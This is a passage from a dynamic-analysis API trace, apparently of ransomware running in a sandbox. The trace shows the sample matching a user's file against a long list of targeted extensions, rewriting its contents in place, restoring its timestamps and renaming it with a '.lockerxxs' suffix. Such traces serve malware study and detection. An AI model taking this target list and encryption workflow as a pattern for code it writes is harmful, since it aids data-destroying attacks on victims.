HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.idx") returned 0 [0090.700] lstrlenA (lpString="*.idx") returned 5 [0090.700] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.dbx") returned 0 [0090.700] lstrlenA (lpString="*.dbx") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.sql") returned 0 [0090.701] lstrlenA (lpString="*.sql") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mdb") returned 0 [0090.701] lstrlenA (lpString="*.mdb") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.fdb") returned 0 [0090.701] lstrlenA (lpString="*.fdb") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.wab") returned 0 [0090.701] lstrlenA (lpString="*.wab") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.dat") returned 0 [0090.701] lstrlenA (lpString="*.dat") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.txt") returned 0 [0090.701] lstrlenA (lpString="*.txt") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.jpeg") returned 0 [0090.701] lstrlenA (lpString="*.jpeg") returned 6 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.jpg") returned 0 [0090.701] lstrlenA (lpString="*.jpg") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.png") returned 0 [0090.701] lstrlenA (lpString="*.png") returned 5 [0090.701] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.php") returned 0 [0090.702] lstrlenA (lpString="*.php") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.cs") returned 0 [0090.702] lstrlenA (lpString="*.cs") returned 4 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.cpp") returned 0 [0090.702] lstrlenA (lpString="*.cpp") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.rar") returned 0 [0090.702] lstrlenA (lpString="*.rar") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.zip") returned 0 [0090.702] lstrlenA (lpString="*.zip") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.html") returned 0 [0090.702] lstrlenA (lpString="*.html") returned 6 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.htm") returned 0 [0090.702] lstrlenA (lpString="*.htm") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.xlsx") returned 0 [0090.702] lstrlenA (lpString="*.xlsx") returned 6 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.xls") returned 0 [0090.702] lstrlenA (lpString="*.xls") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mp4") returned 0 [0090.702] lstrlenA (lpString="*.mp4") returned 5 [0090.702] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.ppt") returned 0 [0090.702] lstrlenA (lpString="*.ppt") returned 5 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.pptx") returned 0 [0090.703] lstrlenA (lpString="*.pptx") returned 6 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.doc") returned 0 [0090.703] lstrlenA (lpString="*.doc") returned 5 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.dot") returned 0 [0090.703] lstrlenA (lpString="*.dot") returned 5 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.docx") returned 0 [0090.703] lstrlenA (lpString="*.docx") returned 6 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.7z") returned 0 [0090.703] lstrlenA (lpString="*.7z") returned 4 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.tar") returned 0 [0090.703] lstrlenA (lpString="*.tar") returned 5 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.bz2") returned 0 [0090.703] lstrlenA (lpString="*.bz2") returned 5 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.gz") returned 0 [0090.703] lstrlenA (lpString="*.gz") returned 4 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mkv") returned 0 [0090.703] lstrlenA (lpString="*.mkv") returned 5 [0090.703] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.eml") returned 0 [0090.703] lstrlenA (lpString="*.eml") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.msg") returned 0 [0090.704] lstrlenA (lpString="*.msg") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.edb") returned 0 [0090.704] lstrlenA (lpString="*.edb") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.accdb") returned 0 [0090.704] lstrlenA (lpString="*.accdb") returned 7 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.odb") returned 0 [0090.704] lstrlenA (lpString="*.odb") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.java") returned 0 [0090.704] lstrlenA (lpString="*.java") returned 6 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.asm") returned 0 [0090.704] lstrlenA (lpString="*.asm") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.pfx") returned 0 [0090.704] lstrlenA (lpString="*.pfx") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.pem") returned 0 [0090.704] lstrlenA (lpString="*.pem") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.p12") returned 0 [0090.704] lstrlenA (lpString="*.p12") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.gpg") returned 0 [0090.704] lstrlenA (lpString="*.gpg") returned 5 [0090.704] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.vsd") returned 0 [0090.705] lstrlenA (lpString="*.vsd") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.odg") returned 0 [0090.705] lstrlenA (lpString="*.odg") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.raw") returned 0 [0090.705] lstrlenA (lpString="*.raw") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.nef") returned 0 [0090.705] lstrlenA (lpString="*.nef") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.svg") returned 0 [0090.705] lstrlenA (lpString="*.svg") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.psd") returned 0 [0090.705] lstrlenA (lpString="*.psd") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.vmx") returned 0 [0090.705] lstrlenA (lpString="*.vmx") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.vmdk") returned 0 [0090.705] lstrlenA (lpString="*.vmdk") returned 6 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.vdi") returned 0 [0090.705] lstrlenA (lpString="*.vdi") returned 5 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.lay6") returned 0 [0090.705] lstrlenA (lpString="*.lay6") returned 6 [0090.705] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mpeg") returned 0 [0090.705] lstrlenA (lpString="*.mpeg") returned 6 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.djvu") returned 0 [0090.706] lstrlenA (lpString="*.djvu") returned 6 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.tiff") returned 0 [0090.706] lstrlenA (lpString="*.tiff") returned 6 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.backup") returned 0 [0090.706] lstrlenA (lpString="*.backup") returned 8 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.pdf") returned 0 [0090.706] lstrlenA (lpString="*.pdf") returned 5 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.cert") returned 0 [0090.706] lstrlenA (lpString="*.cert") returned 6 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.docm") returned 0 [0090.706] lstrlenA (lpString="*.docm") returned 6 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.xlsm") returned 0 [0090.706] lstrlenA (lpString="*.xlsm") returned 6 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.dwg") returned 0 [0090.706] lstrlenA (lpString="*.dwg") returned 5 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.nd") returned 0 [0090.706] lstrlenA (lpString="*.nd") returned 4 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.tlg") returned 0 [0090.706] lstrlenA (lpString="*.tlg") returned 5 [0090.706] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.lgb") returned 0 [0090.707] lstrlenA (lpString="*.lgb") returned 5 [0090.707] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mov") returned 0 [0090.707] lstrlenA (lpString="*.mov") returned 5 [0090.707] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.xdw") returned 0 [0090.707] lstrlenA (lpString="*.xdw") returned 5 [0090.707] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.ods") returned 0 [0090.707] lstrlenA (lpString="*.ods") returned 5 [0090.707] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.wav") returned 0 [0090.707] lstrlenA (lpString="*.wav") returned 5 [0090.707] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", pszSpec="*.mp3") returned 1 [0090.707] lstrlenA (lpString="*.mp3") returned 5 [0090.707] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" [0090.707] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" [0090.707] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3." [0090.707] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3.lockerxxs" [0090.707] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\bpvuwxpgv5decqre 7rg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.708] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcc1 [0090.708] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdbea4fd0, dwHighDateTime=0x1d5e32c), lpLastAccessTime=0x407536*(dwLowDateTime=0xe0d0fba0, dwHighDateTime=0x1d5de06), lpLastWriteTime=0x40753e*(dwLowDateTime=0xe0d0fba0, dwHighDateTime=0x1d5de06)) returned 1 [0090.708] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.708] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc9b, lpOverlapped=0x0) returned 1 [0090.709] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3") returned="bPvUWxPGV5DeCQRe 7RG.mp3" [0090.709] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.709] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc9b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc9b, lpOverlapped=0x0) returned 1 [0090.710] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.710] CloseHandle (hObject=0x90) returned 1 [0090.710] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\bpvuwxpgv5decqre 7rg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\bPvUWxPGV5DeCQRe 7RG.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\bpvuwxpgv5decqre 7rg.mp3.lockerxxs")) returned 1 [0090.711] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea4fd0, ftCreationTime.dwHighDateTime=0x1d5e32c, ftLastAccessTime.dwLowDateTime=0xe0d0fba0, ftLastAccessTime.dwHighDateTime=0x1d5de06, ftLastWriteTime.dwLowDateTime=0xe0d0fba0, ftLastWriteTime.dwHighDateTime=0x1d5de06, nFileSizeHigh=0x0, nFileSizeLow=0xcc1, dwReserved0=0x26000325, dwReserved1=0x4e00c4, cFileName="bPvUWxPGV5DeCQRe 7RG.mp3", cAlternateFileName="BPVUWX~1.MP3")) returned 0 [0090.711] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0090.711] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc867e60, ftCreationTime.dwHighDateTime=0x1d5db13, ftLastAccessTime.dwLowDateTime=0x441bd520, ftLastAccessTime.dwHighDateTime=0x1d5dc65, ftLastWriteTime.dwLowDateTime=0x441bd520, ftLastWriteTime.dwHighDateTime=0x1d5dc65, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="z eWYYN3jJyxqBYqbuP", cAlternateFileName="ZEWYYN~1")) returned 1 [0090.711] lstrcmpA (lpString1=".", lpString2="z eWYYN3jJyxqBYqbuP") returned -1 [0090.711] lstrcmpA (lpString1="..", lpString2="z eWYYN3jJyxqBYqbuP") returned -1 [0090.711] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\*.*") returned="*.*" [0090.711] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="z eWYYN3jJyxqBYqbuP" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP" [0090.712] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP") returned 71 [0090.712] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc867e60, ftCreationTime.dwHighDateTime=0x1d5db13, ftLastAccessTime.dwLowDateTime=0x441bd520, ftLastAccessTime.dwHighDateTime=0x1d5dc65, ftLastWriteTime.dwLowDateTime=0x441bd520, ftLastWriteTime.dwHighDateTime=0x1d5dc65, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3800033b, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0090.712] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.712] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc867e60, ftCreationTime.dwHighDateTime=0x1d5db13, ftLastAccessTime.dwLowDateTime=0x441bd520, ftLastAccessTime.dwHighDateTime=0x1d5dc65, ftLastWriteTime.dwLowDateTime=0x441bd520, ftLastWriteTime.dwHighDateTime=0x1d5dc65, nFileSizeHigh=0x0, nFileSizeLow=0x0, 